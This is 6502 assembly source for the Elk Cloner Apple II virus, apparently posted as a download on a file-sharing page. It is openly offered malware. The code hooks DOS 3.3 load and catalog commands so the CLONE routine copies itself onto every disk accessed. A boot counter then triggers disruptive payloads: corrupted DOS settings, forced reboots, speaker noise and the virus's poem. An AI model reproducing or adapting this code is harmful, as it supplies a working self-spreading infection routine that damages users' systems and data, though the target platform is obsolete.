elk_cloner.a6502.txt

(4 KB) Pobierz
	ORG $9000
VERSN	DFB $02 
HIMEM	LDA #$FF
	STA $4C
	LDA #$8F
	STA $4D
DOPTCH	LDA #$20 
	STA $A180  
	LDA #$5B 
	STA $A181 
	LDA #$A7 
	STA $A182 
RUNPTCH	LDA #$AD
	STA $A4D1
	LDA #$B6
	STA $A4D2
	LDA #$AA
	STA $A4D3
LODPTCH	LDA #$4C
	STA $A413 
	LDA #>LOD
	STA $A414 
	LDA #<LOD
	STA $A415 
BLDPTCH	LDA #$4C
	STA $A35D
	LDA #>BLOD
	STA $A35E
	LDA #<BLOD
	STA $A35F
CATPTCH	LDA #$4C
	STA $A56E
	LDA #>CATALOG 
	STA $A56F
	LDA #<CATALOG
	STA $A570
USRPTCH	LDA #$4C
	STA $0A
	LDA #>USRCMD 
	STA $0B
	LDA #<USRCMD 
	STA $0C
BOOTUP	CLD
	JSR READ 
	LDX $B3BF
	INX
	STX $B3BF
	JSR WRITE 
	JSR DESTROY
	JMP $A180 
TESTON	LDA #$00
	STA FLAG1
	LDA $AA68
	STA $B7EA
	JSR READ
	LDA $B3C2 
	CMP VERSN 
	BEQ TESTON1 
	LDA #$01
	STA FLAG1
TESTON1	RTS
LOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ LOD1
	JSR CLONE
LOD1	JSR $A316
	JMP $A416
BLOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ BLOD1
	JSR CLONE
BLOD1	JSR $A2A8
	JMP $A360
CATALOG	JSR TESTON
	LDA #$06
	JSR $A2AA
	LDA $B5BF
	STA $AA66
	LDA FLAG1
	CMP #$00
	BEQ RETURN
	JSR CLONE
RETURN	LDA #$0
	STA $B3BE
	STA $B3BF
	STA $B3C0
	RTS
CLONE	CLC
	JSR READ 
	LDA IDENT
	STA $B3C0
	LDA VERSN 
	STA $B3C2 
	JSR WRITE 
	LDA $AA68
	STA $B7EA
	LDA #$02
	STA $B7F4
	STA $B7EC
	LDA #$08
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$95
	STA $B7F1
CLONE1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE2
	RTS 
CLONE2	DEC $B7ED
	DEC $B7F1
	LDA $B7F1
	CMP #$8F
	BNE CLONE1
	LDA #$02
	STA $B7F1
	LDA #$01
	STA $B7F4
	STA $B7EC
	LDA #$0 
	STA $B7ED
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE3
	RTS 
CLONE3	LDA #$4C
	STA $280 
	LDA #$00
	STA $281 
	LDA #$9B
	STA $282 
	LDA #$02
	STA $B7F4
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE4
	RTS 
CLONE4	LDA #$0
	STA $B7EC
	LDA #$A
	STA $B7ED
	LDA #$95
	STA $B7F1
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD 
	RTS
READ	LDA #$01
	STA $B7F4
	JMP VTOC
WRITE	LDA #$02
	STA $B7F4
VTOC	LDA #$11
	STA $B7EC
	LDA #$0
	STA $B7ED
	LDA #$BB 
	STA $B7F0
	LDA #$B3
	STA $B7F1
	LDA #$0
	STA $B7EB
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD 
	RTS
PRINT	STY $FC
	STA $FD
	LDY #$00
PRINT0	LDA ($FC),Y 
	CMP #$00
	BEQ PRINT1
	JSR $FDED
	INY  
	JMP PRINT0
PRINT1	RTS
PRTMSG	LDY #>MSG
	LDA #<MSG
	JSR PRINT
PRTNUM	LDA IDENT
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
MSG	ASC 'ELK CLONER V2.0 # '
	DFB $0
IDENT	DFB $1
FLAG1	DFB $00
RET	RTS
USRCMD	JSR $E6FB
	CPX #$0B 
	BNE CMD2
	JSR PRTMSG
	RTS
CMD2	CPX #$0C 
	BNE CMD3
	LDY #>REPORT
	LDA #<REPORT
	JSR PRINT
	JSR READ 
	LDA $B3BF
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
CMD3	CPX #$0D 
	BNE CMD4
	JSR CLONE
	RTS
CMD4	CPX #$0A
	BNE USRERR
	JSR PRPOEM
	RTS
USRERR	LDY #>UERR
	LDA #<UERR
	JSR PRINT
	JSR $FBDD
	JMP $9DBF
UERR	DFB $8D 
	ASC 'ILLEGAL QUANTITY ERROR'
	DFB $0
PRPOEM	JSR $FC58
	LDY #>POEM
	LDA #<POEM
	JSR PRINT
	RTS
REPORT	ASC 'BOOT COUNT: ' 
	DFB $0 
POEM	ASC 'ELK CLONER:'
	DFB $8D,$8D 
	ASC '   THE PROGRAM WITH A PERSONALITY'
	DFB $8D,$8D,$8D 
	ASC 'IT WILL GET ON ALL YOUR DISKS'
	DFB $8D
	ASC 'IT WILL INFILTRATE YOUR CHIPS'
	DFB $8D
	ASC 'YES IT'
	DFB $A7
	ASC 'S CLONER!'
	DFB $8D,$8D
	ASC 'IT WILL STICK TO YOU LIKE GLUE'
	DFB $8D
	ASC 'IT WILL MODIFY RAM TOO'
	DFB $8D
	ASC 'SEND IN THE CLONER!'
	DFB $8D,$8D,$8D,$8D,$0 
IOERR	LDY #>ERRMSG
	LDA #<ERRMSG
	JSR PRINT
	JSR $FBDD 
	JMP $9DBF 
ERRMSG	DFB $8D,$8D 
	ASC 'I/O ERROR'
	DFB $8D,$00 
DESTROY	LDA $B3BF
	CMP #10 
	BNE DEST1
	LDA #$69 
	STA $3F2
	LDA #$FF 
	STA $3F3
	JSR $FB6F
	RTS
DEST1	CMP #15 
	BNE DEST2
	LDA #$3F
	STA $32
	RTS
DEST2	CMP #20 
	BNE DEST3
	LDA $C030
	LDA $C030
	LDA $C030
	RTS
DEST3	CMP #25 
	BNE DEST4
	LDA #$7F
	STA $32
	RTS
DEST4	CMP #30 
	BNE DEST5
	LDA #'I'
	STA $B3A7
	LDA #'T'
	STA $B3A8
	LDA #'B'
	STA $B3A9
	LDA #'A'
	STA $B3AA 
	RTS
DEST5	CMP #35 
	BNE DEST6
	LDA #$85
	STA $AAB2
	RTS
DEST6	CMP #40 
	BNE DEST7
	LDA #$00
	STA $3F2
	LDA #$03
	STA $3F3
	JSR $FB6F
	LDA #$4C
	STA $300
	LDA #$00
	STA $301
	LDA #$03
	STA $302
	RTS
DEST7	CMP #45 
	BNE DEST8
	LDA #$80
	STA $D6
	RTS
DEST8	CMP #50 
	BNE DEST9
	LDA #>PRPOEM
	STA $3F2
	LDA #<PRPOEM
	STA $3F3
	JSR $FB6F
	RTS
DEST9	CMP #55 
	BNE DEST10
	LDA #$FF
	STA $BDD3
	RTS
DEST10	CMP #60 
	BNE DEST11
	LDA #$20
	STA $BDD3
	RTS
DEST11	CMP #65 
	BNE DEST12
	LDA #$4C
	STA $A180
	LDA #$69
	STA $A181
	LDA #$FF
	STA $A182
	RTS
DEST12	CMP #70 
	BNE DEST13
	LDA #$10
	STA $BDD3
	RTS
DEST13	CMP #75 
	BNE DEST14
	JMP $C600
DEST14	CMP #76 
	BNE DEST15 
	JMP $C600
DEST15	CMP #77 
	BNE DEST16
	JMP $C600
DEST16	CMP #78 
	BNE DEST17
	JMP $C600
DEST17	CMP #79 
	BNE DEST18
	JSR READ 
	LDA #$00
	STA $B3BF
	JSR WRITE 
	RTS
DEST18	RTS
LOADER	ORG $9500
	LDA #$02 
	STA $B7EC 
	LDA #$01 
	STA $B7F4 
	LDA #$03
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$90
	STA $B7F1
LOAD1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	INC $B7ED
	INC $B7F1
	LDA $B7F1
	CMP #$96
	BCC LOAD1
	JMP HIMEM 
Zgłoś jeśli naruszono regulamin